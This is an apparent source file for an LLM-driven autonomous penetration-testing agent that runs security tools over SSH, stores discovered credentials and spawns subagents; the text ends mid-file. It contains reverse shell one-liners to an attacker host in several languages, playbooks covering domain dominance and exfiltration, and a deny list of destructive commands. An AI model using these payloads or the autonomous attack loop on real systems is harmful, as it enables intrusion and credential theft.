pentest_copilot.py

#!/usr/bin/env python3
"""
Autonomous Penetration Testing Copilot  v2.5.0

AI-powered pentest agent that connects to an attack box (Kali/Parrot)
via SSH, runs security tools autonomously, analyses output, plans next
steps, and documents findings — all driven by an LLM agentic loop.

Maintains a persistent Pentest Task Tree (PTT) as externalized memory so the
agent stays oriented on long engagements even after chat history is trimmed.

Supports: Claude (Anthropic) and OpenAI-compatible LLMs.

Dependencies:
    pip install anthropic paramiko        # Claude + SSH
    pip install openai paramiko           # OpenAI + SSH

Usage:
    # SSH to a remote Kali box
    python pentest_copilot.py --target 10.0.0.1 \\
        --ssh-host kali.local --ssh-user root --ssh-key ~/.ssh/id_rsa

    # Run locally on a Kali machine
    python pentest_copilot.py --target 10.0.0.1 --local

    # Use OpenAI instead of Claude
    python pentest_copilot.py --target 10.0.0.1 --local --provider openai

Copyright (c) 2025 — MIT License
"""

import argparse
import datetime
import html as html_mod
import json
import os
import re
import shlex
import signal
import subprocess
import sys
import textwrap
import time
import threading
import traceback
import getpass
import uuid

__version__ = "2.5.0"
VERSION = __version__

# ─── Optional dependency detection ───────────────────────────────────────

HAS_ANTHROPIC = False
HAS_OPENAI = False
HAS_PARAMIKO = False

try:
    import anthropic
    HAS_ANTHROPIC = True
except ImportError:
    pass

try:
    import openai
    HAS_OPENAI = True
except ImportError:
    pass

try:
    import paramiko
    HAS_PARAMIKO = True
except ImportError:
    pass


# ═════════════════════════════════════════════════════════════════════════
# Constants
# ═════════════════════════════════════════════════════════════════════════

MAX_ITERATIONS = 25          # max tool-call loops per user turn
MAX_OUTPUT_CHARS = 15000     # truncate tool output to fit context
DEFAULT_TIMEOUT = 120        # seconds per command
MAX_HISTORY_MESSAGES = 60    # conversation history limit

# ─── Terminal colours ─────────────────────────────────────────────────────

R  = "\033[0m"
B  = "\033[1m"
DIM = "\033[2m"
RED = "\033[91m"
GRN = "\033[92m"
YEL = "\033[93m"
BLU = "\033[94m"
MAG = "\033[95m"
CYN = "\033[96m"
WHT = "\033[97m"

SEV_COLOR = {
    "CRITICAL": RED, "HIGH": YEL, "MEDIUM": BLU,
    "LOW": GRN, "INFO": WHT,
}

# ─── Dangerous command patterns ───────────────────────────────────────────

DANGEROUS_PATTERNS = [
    r"rm\s+-[rR]f\s+/\s",
    r"rm\s+-[rR]f\s+/\*",
    r"mkfs\.",
    r"dd\s+if=.*of=/dev/",
    r":\(\)\s*\{",                          # fork bomb
    r">\s*/dev/sd[a-z]",
    r"chmod\s+-R\s+777\s+/\s",
    r"\bshutdown\b",
    r"\breboot\b",
    r"\binit\s+[06]\b",
    r"\bsystemctl\s+(poweroff|halt)\b",
    r"iptables\s+-F",                       # flush all firewall rules
    r"mv\s+/\s",                            # move root
]

# ─── Pentest tool registry ────────────────────────────────────────────────

TOOL_REGISTRY = {
    "Reconnaissance": [
        ("nmap",        "Network mapper — port scanning, service detection, OS fingerprinting"),
        ("masscan",     "Fast TCP port scanner — scan entire internet in minutes"),
        ("subfinder",   "Subdomain discovery using passive sources"),
        ("httpx",       "HTTP toolkit — probing, tech detection, status codes"),
        ("whatweb",     "Web technology fingerprinting"),
        ("amass",       "Attack surface mapping and asset discovery"),
        ("theHarvester","OSINT — emails, subdomains, IPs from public sources"),
        ("dnsrecon",    "DNS enumeration and zone transfer checks"),
        ("wafw00f",     "WAF detection and fingerprinting"),
        ("whois",       "Domain registration and ownership lookup"),
    ],
    "Web Application": [
        ("nikto",       "Web server scanner — misconfigurations, outdated software"),
        ("ffuf",        "Fast web fuzzer — directory, parameter, vhost brute-forcing"),
        ("gobuster",    "Directory and DNS brute-forcing"),
        ("dirsearch",   "Web path scanner with recursive capability"),
        ("nuclei",      "Template-based vulnerability scanner (10K+ templates)"),
        ("katana",      "Web crawler with headless browser support"),
        ("wpscan",      "WordPress vulnerability scanner"),
        ("sqlmap",      "Automated SQL injection detection and exploitation"),
        ("dalfox",      "XSS scanner with DOM analysis"),
        ("feroxbuster", "Recursive content discovery — fast and flexible"),
    ],
    "Exploitation": [
        ("metasploit",  "Exploitation framework — modules, payloads, post-exploitation"),
        ("searchsploit","Offline exploit database search (ExploitDB)"),
        ("ghauri",      "Advanced SQL injection exploitation"),
        ("commix",      "Automated command injection exploitation"),
        ("hydra",       "Network login brute-forcer (SSH, FTP, HTTP, etc.)"),
        ("medusa",      "Parallel network login auditor"),
        ("john",        "Password cracking (John the Ripper)"),
        ("hashcat",     "GPU-accelerated password recovery"),
        ("crackmapexec","Swiss army knife for AD/network pentesting"),
        ("impacket",    "Python tools for network protocols (psexec, smbexec, etc.)"),
    ],
    "Post-Exploitation": [
        ("linpeas",     "Linux privilege escalation enumeration"),
        ("winpeas",     "Windows privilege escalation enumeration"),
        ("pspy",        "Unprivileged process snooping on Linux"),
        ("chisel",      "TCP/UDP tunnel over HTTP with SSH-like transport"),
        ("ligolo-ng",   "Tunneling and pivoting tool"),
        ("bloodhound",  "Active Directory attack path mapping"),
        ("mimikatz",    "Windows credential extraction"),
        ("evil-winrm",  "WinRM shell with PowerShell and upload support"),
    ],
    "Network & Wireless": [
        ("netcat",      "TCP/UDP networking utility — reverse shells, port scanning"),
        ("socat",       "Advanced relay for bidirectional data transfers"),
        ("tcpdump",     "Network packet capture and analysis"),
        ("wireshark",   "GUI network protocol analyser (tshark for CLI)"),
        ("responder",   "LLMNR/NBT-NS/MDNS poisoner for credential capture"),
        ("bettercap",   "Swiss army knife for network attacks (MITM, sniffing)"),
        ("aircrack-ng", "WiFi security auditing suite"),
    ],
    "OSINT & Recon": [
        ("sherlock",    "Hunt usernames across social networks"),
        ("recon-ng",    "Full-featured OSINT reconnaissance framework"),
        ("spiderfoot",  "Automated OSINT collection and analysis"),
        ("waybackurls", "Fetch URLs from the Wayback Machine"),
        ("gau",         "Get All URLs from multiple sources"),
        ("photon",      "Fast web crawler for OSINT data extraction"),
    ],
    "Utilities": [
        ("curl",        "HTTP client — API testing, file transfer"),
        ("wget",        "File downloader with recursive capability"),
        ("jq",          "Command-line JSON processor"),
        ("python3",     "Python interpreter for custom scripts"),
        ("git",         "Version control — clone exploit repos"),
        ("gcc",         "C compiler — compile kernel exploits"),
        ("proxychains", "Force TCP connections through proxy (Tor/SOCKS)"),
    ],
}


# ═════════════════════════════════════════════════════════════════════════
# Finding
# ═════════════════════════════════════════════════════════════════════════

class Finding:
    """A security finding discovered during the penetration test."""
    __slots__ = (
        "id", "title", "severity", "category", "description",
        "evidence", "recommendation", "cvss", "timestamp",
    )

    def __init__(self, title, severity, category, description,
                 evidence="", recommendation="", cvss=""):
        self.id = str(uuid.uuid4())[:8]
        self.title = title
        self.severity = severity.upper()
        self.category = category
        self.description = description
        self.evidence = evidence
        self.recommendation = recommendation
        self.cvss = cvss
        self.timestamp = datetime.datetime.now().isoformat()

    def to_dict(self):
        return {s: getattr(self, s) for s in self.__slots__}


# ═════════════════════════════════════════════════════════════════════════
# Execution Engines
# ═════════════════════════════════════════════════════════════════════════

class SSHExecutor:
    """Execute commands on a remote attack box via SSH."""

    def __init__(self, host, port=22, user="root",
                 password=None, key_path=None):
        if not HAS_PARAMIKO:
            raise ImportError(
                "'paramiko' is required for SSH mode.\n"
                "  Install with:  pip install paramiko"
            )
        self.host = host
        self.port = port
        self.user = user
        self.password = password
        self.key_path = key_path
        self.client = None

    def connect(self):
        """Establish SSH connection."""
        self.client = paramiko.SSHClient()
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        kwargs = {
            "hostname": self.host,
            "port": self.port,
            "username": self.user,
            "timeout": 15,
        }
        if self.key_path:
            kwargs["key_filename"] = os.path.expanduser(self.key_path)
        elif self.password:
            kwargs["password"] = self.password
        self.client.connect(**kwargs)
        _print_status(f"Connected to {self.user}@{self.host}:{self.port}")

    def execute(self, command, timeout=DEFAULT_TIMEOUT):
        """Execute a command and return (exit_code, stdout, stderr)."""
        if not self.client:
            raise RuntimeError("SSH not connected")
        try:
            stdin, stdout, stderr = self.client.exec_command(
                command, timeout=timeout,
            )
            exit_code = stdout.channel.recv_exit_status()
            out = stdout.read().decode("utf-8", errors="replace")
            err = stderr.read().decode("utf-8", errors="replace")
            return exit_code, out, err
        except Exception as e:
            return -1, "", str(e)

    def disconnect(self):
        if self.client:
            try:
                self.client.close()
            except Exception:
                pass
            self.client = None

    @property
    def label(self):
        return f"{self.user}@{self.host}"


class LocalExecutor:
    """Execute commands on the local machine."""

    def connect(self):
        _print_status("Running in local mode (commands execute on this machine)")

    def execute(self, command, timeout=DEFAULT_TIMEOUT):
        """Execute a command locally and return (exit_code, stdout, stderr)."""
        try:
            result = subprocess.run(
                command, shell=True,
                capture_output=True, text=True,
                timeout=timeout,
            )
            return result.returncode, result.stdout, result.stderr
        except subprocess.TimeoutExpired:
            return -1, "", f"Command timed out after {timeout}s"
        except Exception as e:
            return -1, "", str(e)

    def disconnect(self):
        pass

    @property
    def label(self):
        return "localhost"


# ═════════════════════════════════════════════════════════════════════════
# Credential Vault
# ═════════════════════════════════════════════════════════════════════════

class CredentialVault:
    """Store and manage discovered credentials during the pentest."""

    def __init__(self):
        self._creds: list = []
        self._lock = threading.Lock()

    def store(self, username, secret, cred_type="password",
              target="", source="", notes=""):
        """Store a discovered credential."""
        cred = {
            "id": str(uuid.uuid4())[:8],
            "username": username,
            "secret": secret,
            "type": cred_type,       # password, hash, token, key, cookie
            "target": target,         # host/service where it was found
            "source": source,         # how it was obtained
            "notes": notes,
            "timestamp": datetime.datetime.now().isoformat(),
            "used_count": 0,
        }
        with self._lock:
            # Avoid exact duplicates
            for existing in self._creds:
                if (existing["username"] == username
                        and existing["secret"] == secret
                        and existing["target"] == target):
                    return existing
            self._creds.append(cred)
        return cred

    def list_all(self):
        with self._lock:
            return list(self._creds)

    def get_for_target(self, target):
        """Get credentials applicable to a specific target."""
        with self._lock:
            return [c for c in self._creds
                    if not c["target"] or target in c["target"]]

    def mark_used(self, cred_id):
        with self._lock:
            for c in self._creds:
                if c["id"] == cred_id:
                    c["used_count"] += 1

    def to_list(self):
        with self._lock:
            return [dict(c) for c in self._creds]

    def summary_for_prompt(self):
        """Build a summary string for the system prompt."""
        with self._lock:
            if not self._creds:
                return "  No credentials discovered yet."
            lines = []
            for c in self._creds:
                masked = c["secret"][:3] + "***" if len(c["secret"]) > 3 else "***"
                lines.append(
                    f"  [{c['type']}] {c['username']}:{masked} "
                    f"@ {c['target'] or 'any'} (via {c['source'] or '?'})"
                )
            return "\n".join(lines)


# ═════════════════════════════════════════════════════════════════════════
# Multi-Shell Manager
# ═════════════════════════════════════════════════════════════════════════

class ShellManager:
    """Manage multiple named persistent shell sessions."""

    def __init__(self, executor):
        self.executor = executor
        self._shells: dict = {}  # name -> {"channel": ..., "buffer": ""}
        self._lock = threading.Lock()

    def open_shell(self, name):
        """Open a named persistent shell session."""
        with self._lock:
            if name in self._shells:
                return f"Shell '{name}' already exists."
            self._shells[name] = {
                "created": datetime.datetime.now().isoformat(),
                "command_count": 0,
                "last_output": "",
            }
        return f"Shell '{name}' created."

    def run_in_shell(self, name, command, timeout=DEFAULT_TIMEOUT):
        """Run a command in a named shell (uses the shared executor)."""
        with self._lock:
            if name not in self._shells:
                return f"Shell '{name}' not found. Use open_shell first."

        exit_code, stdout, stderr = self.executor.execute(command, timeout)
        output = stdout
        if stderr:
            output += f"\n[STDERR]\n{stderr}"

        with self._lock:
            self._shells[name]["command_count"] += 1
            self._shells[name]["last_output"] = output[:500]

        return f"[Shell:{name}] Exit code: {exit_code}\n{truncate_output(output)}"

    def close_shell(self, name):
        with self._lock:
            if name in self._shells:
                del self._shells[name]
                return f"Shell '{name}' closed."
            return f"Shell '{name}' not found."

    def list_shells(self):
        with self._lock:
            return dict(self._shells)

    def summary_for_prompt(self):
        with self._lock:
            if not self._shells:
                return "  No named shells open."
            lines = []
            for name, info in self._shells.items():
                lines.append(
                    f"  [{name}] cmds: {info['command_count']} "
                    f"(opened: {info['created'][:19]})"
                )
            return "\n".join(lines)


# ═════════════════════════════════════════════════════════════════════════
# Subagent Manager
# ═════════════════════════════════════════════════════════════════════════

class SubagentManager:
    """Spawn and manage background subagents for parallel tasks."""

    def __init__(self, provider, executor, findings, credential_vault,
                 auto_approve=False):
        self.provider = provider
        self.executor = executor
        self.findings = findings
        self.credential_vault = credential_vault
        self.auto_approve = auto_approve
        self._tasks: dict = {}  # id -> {thread, status, result, task}
        self._lock = threading.Lock()

    def spawn(self, task_description, target, scope):
        """Spawn a background subagent to work on a specific task."""
        task_id = str(uuid.uuid4())[:8]
        task_info = {
            "id": task_id,
            "task": task_description,
            "status": "running",
            "result": "",
            "findings_count": 0,
            "commands_run": 0,
            "started": datetime.datetime.now().isoformat(),
            "finished": None,
        }

        def _run():
            try:
                result_lines = []
                sub_messages = [{"role": "user", "content": task_description}]

                sub_prompt = textwrap.dedent(f"""\
                    You are a subagent performing a SPECIFIC task as part of a
                    larger penetration test. Complete the task efficiently and
                    report findings.

                    TARGET: {target}
                    SCOPE: {scope}
                    YOUR TASK: {task_description}

                    RULES:
                    - Focus ONLY on the assigned task
                    - Use report_finding for every vulnerability you discover
                    - Be concise — report results, not process
                    - Maximum 10 iterations for this task
                """)

                for iteration in range(10):
                    try:
                        content_blocks, stop_reason = self.provider.call(
                            sub_messages, sub_prompt,
                        )
                    except Exception as e:
                        result_lines.append(f"LLM error: {e}")
                        break

                    sub_messages.append(
                        self.provider.format_assistant_message(content_blocks)
                    )

                    text = self.provider.extract_text(content_blocks)
                    tool_calls = self.provider.extract_tool_calls(content_blocks)

                    if text:
                        result_lines.append(text)

                    if not tool_calls or stop_reason != "tool_use":
                        break

                    for tc in tool_calls:
                        result = self._handle_subtool(tc["name"], tc["input"],
                                                      task_info)
                        sub_messages.append(
                            self.provider.format_tool_result(tc["id"], result)
                        )

                with self._lock:
                    task_info["status"] = "completed"
                    task_info["result"] = "\n".join(result_lines)
                    task_info["finished"] = datetime.datetime.now().isoformat()

            except Exception as e:
                with self._lock:
                    task_info["status"] = "error"
                    task_info["result"] = str(e)
                    task_info["finished"] = datetime.datetime.now().isoformat()

        thread = threading.Thread(target=_run, daemon=True)
        with self._lock:
            self._tasks[task_id] = task_info
        thread.start()

        print(f"\n  {BLU}{B}[SUBAGENT]{R}  Spawned {BLU}{task_id}{R}: {task_description[:60]}")
        return task_id

    def _handle_subtool(self, name, args, task_info):
        """Handle tool calls from subagents (subset of main tools)."""
        task_info["commands_run"] += 1

        if name == "run_command":
            return handle_run_command(self.executor, args, self.auto_approve)
        elif name == "install_tool":
            return handle_install_tool(self.executor, args)
        elif name == "read_file":
            return handle_read_file(self.executor, args)
        elif name == "report_finding":
            task_info["findings_count"] += 1
            return handle_report_finding(self.findings, args)
        elif name == "store_credential":
            return handle_store_credential(self.credential_vault, args)
        else:
            return f"Tool '{name}' not available in subagent context."

    def get_status(self, task_id=None):
        with self._lock:
            if task_id:
                return self._tasks.get(task_id)
            return dict(self._tasks)

    def get_completed_results(self):
        """Get results from all completed subagents and clear them."""
        with self._lock:
            completed = {
                tid: info for tid, info in self._tasks.items()
                if info["status"] in ("completed", "error")
            }
            for tid in completed:
                self._tasks[tid]["status"] = "reported"
            return completed

    def summary_for_prompt(self):
        with self._lock:
            if not self._tasks:
                return "  No subagents."
            lines = []
            for tid, info in self._tasks.items():
                lines.append(
                    f"  [{tid}] {info['status']} — {info['task'][:50]} "
                    f"(cmds: {info['commands_run']}, "
                    f"findings: {info['findings_count']})"
                )
            return "\n".join(lines)


# ═════════════════════════════════════════════════════════════════════════
# Methodology Playbooks
# ═════════════════════════════════════════════════════════════════════════

PLAYBOOKS = {
    "webapp": {
        "name": "Web Application Pentest",
        "prompt": textwrap.dedent("""\
            Execute a structured web application penetration test:

            PHASE 1 — RECONNAISSANCE
            - Run nmap to discover web ports (80, 443, 8080, 8443)
            - Use whatweb/httpx for technology fingerprinting
            - Check for WAF with wafw00f
            - Crawl with katana to map the application

            PHASE 2 — CONTENT DISCOVERY
            - Use ffuf/gobuster for directory brute-forcing
            - Check robots.txt, sitemap.xml, .git exposure
            - Enumerate API endpoints

            PHASE 3 — VULNERABILITY SCANNING
            - Run nikto for server-level issues
            - Run nuclei with web-specific templates
            - Test for SQL injection (sqlmap on forms/params)
            - Test for XSS (dalfox on reflected params)
            - Test for SSRF, LFI, RFI, IDOR
            - Check authentication and session management

            PHASE 4 — EXPLOITATION
            - Exploit confirmed vulnerabilities
            - Attempt privilege escalation if authenticated
            - Test for business logic flaws

            PHASE 5 — REPORT
            - Summarize all findings with report_finding
            - Use spawn_subagent for parallel tasks where possible
            - Store any discovered credentials with store_credential
        """),
    },
    "network": {
        "name": "Network Penetration Test",
        "prompt": textwrap.dedent("""\
            Execute a structured network penetration test:

            PHASE 1 — HOST DISCOVERY
            - Use nmap ping sweep to discover live hosts
            - Use masscan for fast port discovery across the range

            PHASE 2 — SERVICE ENUMERATION
            - Full port scan with service version detection (nmap -sV)
            - OS fingerprinting (nmap -O)
            - Banner grabbing on interesting ports
            - Check for default credentials on services

            PHASE 3 — VULNERABILITY ASSESSMENT
            - Run nmap NSE vulnerability scripts
            - Run nuclei network templates
            - Check for known CVEs on discovered service versions
            - Test SMB (enum4linux, smbclient), SNMP, LDAP, RDP
            - Test for anonymous FTP, open NFS shares

            PHASE 4 — EXPLOITATION
            - Attempt exploitation of confirmed vulnerabilities
            - Brute-force weak services (hydra/medusa)
            - Try credential reuse from vault across services

            PHASE 5 — POST-EXPLOITATION
            - Run linpeas/winpeas for privilege escalation
            - Check for lateral movement opportunities
            - Dump credentials, check for pivoting paths
        """),
    },
    "api": {
        "name": "API Security Assessment",
        "prompt": textwrap.dedent("""\
            Execute a structured API penetration test:

            PHASE 1 — API DISCOVERY
            - Enumerate API endpoints via crawling, documentation
            - Check /swagger, /api-docs, /openapi.json, /graphql
            - Identify authentication mechanisms (JWT, OAuth, API keys)

            PHASE 2 — AUTHENTICATION TESTING
            - Test for broken authentication (BOLA, BFLA)
            - Test JWT weaknesses (none algo, weak secret, expiry)
            - Check for API key exposure in responses/headers

            PHASE 3 — INPUT VALIDATION
            - Test for SQL injection on all parameters
            - Test for command injection, SSRF
            - Test for mass assignment / excessive data exposure
            - Test rate limiting and resource consumption

            PHASE 4 — BUSINESS LOGIC
            - Test for IDOR on resource IDs
            - Test for privilege escalation (horizontal + vertical)
            - Test for race conditions

            PHASE 5 — REPORT
            - Map findings to OWASP API Security Top 10
        """),
    },
    "ad": {
        "name": "Active Directory Assessment",
        "prompt": textwrap.dedent("""\
            Execute a structured Active Directory penetration test:

            PHASE 1 — RECONNAISSANCE
            - Enumerate domain controllers, domain name
            - LDAP enumeration (ldapsearch/ldapdomaindump)
            - SMB enumeration (enum4linux, crackmapexec)
            - Kerberos user enumeration (kerbrute)

            PHASE 2 — CREDENTIAL ATTACKS
            - AS-REP Roasting (GetNPUsers.py)
            - Kerberoasting (GetUserSPNs.py)
            - Password spraying (crackmapexec)
            - LLMNR/NBT-NS poisoning (responder)

            PHASE 3 — LATERAL MOVEMENT
            - Pass-the-Hash, Pass-the-Ticket
            - PSExec, WMIExec, SMBExec (impacket)
            - Evil-WinRM for WinRM targets
            - Credential reuse from vault

            PHASE 4 — PRIVILEGE ESCALATION
            - BloodHound analysis for attack paths
            - ACL abuse, delegation attacks
            - DCSync, Golden/Silver ticket attacks

            PHASE 5 — DOMAIN DOMINANCE
            - Extract NTDS.dit
            - Establish persistence
            - Document all attack paths
        """),
    },
    "cloud": {
        "name": "Cloud Security Assessment",
        "prompt": textwrap.dedent("""\
            Execute a structured cloud penetration test:

            PHASE 1 — RECONNAISSANCE
            - Identify cloud provider (AWS/Azure/GCP metadata endpoints)
            - Enumerate S3 buckets, blob storage, GCS buckets
            - Check for exposed cloud credentials in source code

            PHASE 2 — IDENTITY & ACCESS
            - Enumerate IAM roles, policies, permissions
            - Check for overly permissive policies
            - Test for SSRF to metadata service (169.254.169.254)
            - Check for IMDSv1 (no hop limit)

            PHASE 3 — SERVICES
            - Test exposed databases (RDS, CosmosDB, Cloud SQL)
            - Check serverless function configurations
            - Test container/K8s misconfigurations
            - Check for public snapshots/AMIs

            PHASE 4 — DATA EXFILTRATION
            - Test for data access via misconfigured storage
            - Check for cross-account access
            - Test VPC/network segmentation

            PHASE 5 — REPORT
            - Map findings to cloud security frameworks
        """),
    },
}


# ═════════════════════════════════════════════════════════════════════════
# Tool Auto-Detection
# ═════════════════════════════════════════════════════════════════════════

class ToolDetector:
    """Detect installed pentest tools on the attack box and auto-install."""

    def __init__(self, executor):
        self.executor = executor
        self._cache: dict = {}  # tool_name -> bool (installed)
        self._lock = threading.Lock()

    def check_tool(self, tool_name):
        """Check if a tool is installed. Returns True/False."""
        with self._lock:
            if tool_name in self._cache:
                return self._cache[tool_name]

        exit_code, _, _ = self.executor.execute(
            f"which {shlex.quote(tool_name)} 2>/dev/null || "
            f"command -v {shlex.quote(tool_name)} 2>/dev/null",
            timeout=10,
        )
        installed = exit_code == 0

        with self._lock:
            self._cache[tool_name] = installed
        return installed

    def scan_all(self):
        """Scan all tools in the registry and return status dict."""
        results = {}
        for cat, tools in TOOL_REGISTRY.items():
            for name, _ in tools:
                results[name] = self.check_tool(name)
        with self._lock:
            self._cache.update(results)
        return results

    def get_missing(self, tool_list):
        """Return list of tools from tool_list that are NOT installed."""
        return [t for t in tool_list if not self.check_tool(t)]

    def invalidate(self, tool_name=None):
        """Clear cache for a tool (or all tools)."""
        with self._lock:
            if tool_name:
                self._cache.pop(tool_name, None)
            else:
                self._cache.clear()

    def summary(self):
        """Return a summary of installed vs missing tools."""
        with self._lock:
            installed = sum(1 for v in self._cache.values() if v)
            total = len(self._cache)
        return f"{installed}/{total} tools installed" if total else "Not scanned yet"


# ═════════════════════════════════════════════════════════════════════════
# Exploit Search Engine
# ═════════════════════════════════════════════════════════════════════════

class ExploitSearcher:
    """Search for exploits using searchsploit and CVE patterns."""

    def __init__(self, executor):
        self.executor = executor

    def search_exploitdb(self, query):
        """Search ExploitDB via searchsploit."""
        exit_code, stdout, stderr = self.executor.execute(
            f"searchsploit --color --json {shlex.quote(query)} 2>/dev/null "
            f"|| searchsploit {shlex.quote(query)} 2>/dev/null",
            timeout=30,
        )
        if exit_code != 0 and "not found" in stderr.lower():
            return ("searchsploit is not installed. Install with: "
                    "apt install exploitdb")
        return truncate_output(stdout or stderr)

    def search_nmap_vulns(self, target, ports=""):
        """Run nmap vulnerability scripts against a target."""
        port_flag = f"-p {ports}" if ports else ""
        exit_code, stdout, stderr = self.executor.execute(
            f"nmap --script vuln {port_flag} {shlex.quote(target)}",
            timeout=300,
        )
        return truncate_output(stdout or stderr)

    def search_nuclei_cves(self, target):
        """Run nuclei CVE templates against a target."""
        exit_code, stdout, stderr = self.executor.execute(
            f"nuclei -u {shlex.quote(target)} -t cves/ -silent -nc",
            timeout=600,
        )
        if exit_code != 0 and "not found" in (stderr or "").lower():
            return "nuclei is not installed. Install with: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        return truncate_output(stdout or stderr or "No CVEs found.")


# ═════════════════════════════════════════════════════════════════════════
# Reverse Shell Handler
# ═════════════════════════════════════════════════════════════════════════

class ReverseShellHandler:
    """Manage reverse shell listeners on the attack box."""

    def __init__(self, executor):
        self.executor = executor
        self._listeners: dict = {}  # name -> {port, pid, proto}
        self._lock = threading.Lock()

    def start_listener(self, name, port, proto="tcp"):
        """Start a netcat listener in the background."""
        with self._lock:
            if name in self._listeners:
                return f"Listener '{name}' already exists on port {self._listeners[name]['port']}."

        if proto == "tcp":
            cmd = f"nohup nc -nlvp {port} > /tmp/listener_{name}.log 2>&1 & echo $!"
        else:
            cmd = f"nohup nc -nlvup {port} > /tmp/listener_{name}.log 2>&1 & echo $!"

        exit_code, stdout, stderr = self.executor.execute(cmd, timeout=10)
        pid = stdout.strip().split("\n")[-1].strip()

        with self._lock:
            self._listeners[name] = {
                "port": port,
                "pid": pid,
                "proto": proto,
                "started": datetime.datetime.now().isoformat(),
                "log_file": f"/tmp/listener_{name}.log",
            }

        return (f"Listener '{name}' started on {proto.upper()}:{port} "
                f"(PID: {pid}, log: /tmp/listener_{name}.log)")

    def stop_listener(self, name):
        """Stop a running listener."""
        with self._lock:
            info = self._listeners.pop(name, None)
        if not info:
            return f"Listener '{name}' not found."

        self.executor.execute(f"kill {info['pid']} 2>/dev/null", timeout=5)
        return f"Listener '{name}' stopped (was on port {info['port']})."

    def check_listener(self, name):
        """Check if a listener caught a connection."""
        with self._lock:
            info = self._listeners.get(name)
        if not info:
            return f"Listener '{name}' not found."

        exit_code, stdout, _ = self.executor.execute(
            f"cat {info['log_file']} 2>/dev/null", timeout=10,
        )
        return f"[Listener:{name} port:{info['port']}]\n{truncate_output(stdout)}"

    def list_listeners(self):
        with self._lock:
            return dict(self._listeners)

    def generate_payloads(self, lhost, lport):
        """Generate common reverse shell one-liners."""
        payloads = {
            "bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
            "python": (
                f"python3 -c 'import socket,subprocess,os;"
                f"s=socket.socket();s.connect((\"{lhost}\",{lport}));"
                f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"
                f"os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
            ),
            "nc": f"nc -e /bin/sh {lhost} {lport}",
            "nc_mkfifo": (
                f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|"
                f"nc {lhost} {lport} >/tmp/f"
            ),
            "php": (
                f"php -r '$s=fsockopen(\"{lhost}\",{lport});"
                f"exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
            ),
            "perl": (
                f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};"
                f"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
                f"connect(S,sockaddr_in($p,inet_aton($i)));"
                f"open(STDIN,\">&S\");open(STDOUT,\">&S\");"
                f"open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"
            ),
            "powershell": (
                f"powershell -nop -c \"$c=New-Object System.Net.Sockets.TCPClient"
                f"('{lhost}',{lport});$s=$c.GetStream();[byte[]]$b=0..65535|"
                f"%{{0}};while(($i=$s.Read($b,0,$b.Length))-ne 0)"
                f"{{$d=(New-Object -TypeName System.Text.ASCIIEncoding)"
                f".GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);"
                f"$r2=$r+'PS '+(pwd).Path+'> ';"
                f"$sb=([text.encoding]::ASCII).GetBytes($r2);"
                f"$s.Write($sb,0,$sb.Length);$s.Flush()}};$c.Close()\""
            ),
        }
        return payloads

    def summary_for_prompt(self):
        with self._lock:
            if not self._listeners:
                return "  No active listeners."
            lines = []
            for name, info in self._listeners.items():
                lines.append(
                    f"  [{name}] {info['proto'].upper()}:{info['port']} "
                    f"PID:{info['pid']}"
                )
            return "\n".join(lines)


# ═════════════════════════════════════════════════════════════════════════
# Phalanx Cyber Integration
# ═════════════════════════════════════════════════════════════════════════

PHALANX_SCANNERS = {
    "sast_java": {
        "name": "Java SAST Scanner",
        "command": "python3 java_scanner.py {target} --json /tmp/phalanx_java.json",
        "repo": "https://github.com/Krishcalin/Static-Application-Security-Testing",
        "file": "java_scanner.py",
        "description": "SAST scanner for Java source, Maven/Gradle, Spring Boot — 200+ rules, Log4Shell, SQLi, XSS, deserialization",
    },
    "sast_python": {
        "name": "Python SAST Scanner",
        "command": "python3 python_scanner.py {target} --json /tmp/phalanx_python.json",
        "repo": "https://github.com/Krishcalin/Static-Application-Security-Testing",
        "file": "python_scanner.py",
        "description": "SAST scanner for Python source — pickle deserialization, SSTI, Django/Flask misconfigs, AI/LLM patterns",
    },
    "sast_mern": {
        "name": "MERN Stack SAST Scanner",
        "command": "python3 mern_scanner.py {target} --json /tmp/phalanx_mern.json",
        "repo": "https://github.com/Krishcalin/Static-Application-Security-Testing",
        "file": "mern_scanner.py",
        "description": "SAST scanner for JS/TS — NoSQL injection, prototype pollution, JWT bypass, 20+ npm CVEs",
    },
    "sast_php": {
        "name": "PHP SAST Scanner",
        "command": "python3 php_scanner.py {target} --json /tmp/phalanx_php.json",
        "repo": "https://github.com/Krishcalin/Static-Application-Security-Testing",
        "file": "php_scanner.py",
        "description": "SAST scanner for PHP source — RCE, SQLi, LFI/RFI, XSS, php.ini misconfigs",
    },
    "owasp_llm": {
        "name": "OWASP LLM Top 10 Scanner",
        "command": "python3 owasp_llm_scanner.py {target} --json /tmp/phalanx_llm.json",
        "repo": "https://github.com/Krishcalin/Static-Application-Security-Testing",
        "file": "owasp_llm_scanner.py",
        "description": "SAST scanner for AI/LLM apps — prompt injection, excessive agency, system prompt leakage",
    },
    "api_security": {
        "name": "API Security Scanner",
        "command": "python3 api_security_scanner.py {target} --json /tmp/phalanx_api.json",
        "repo": "https://github.com/Krishcalin/API-Security",
        "file": "api_security_scanner.py",
        "description": "112+ rules across 22 categories — OWASP API Top 10, REST, GraphQL, gRPC, OpenAPI",
    },
    "aws_cloud": {
        "name": "AWS Security Scanner",
        "command": "python3 aws_scanner.py {target} --json /tmp/phalanx_aws.json",
        "repo": "https://github.com/Krishcalin/AWS-Security-Scanner",
        "file": "aws_scanner.py",
        "description": "CloudFormation + Terraform IaC scanner — S3, IAM, EC2, RDS, 60+ rules",
    },
    "nuclei_templates": {
        "name": "Nuclei CVE Scan",
        "command": "nuclei -u {target} -t cves/ -severity critical,high -silent -nc",
        "repo": None,
        "file": None,
        "description": "Run Nuclei CVE templates against a target URL for known vulnerabilities",
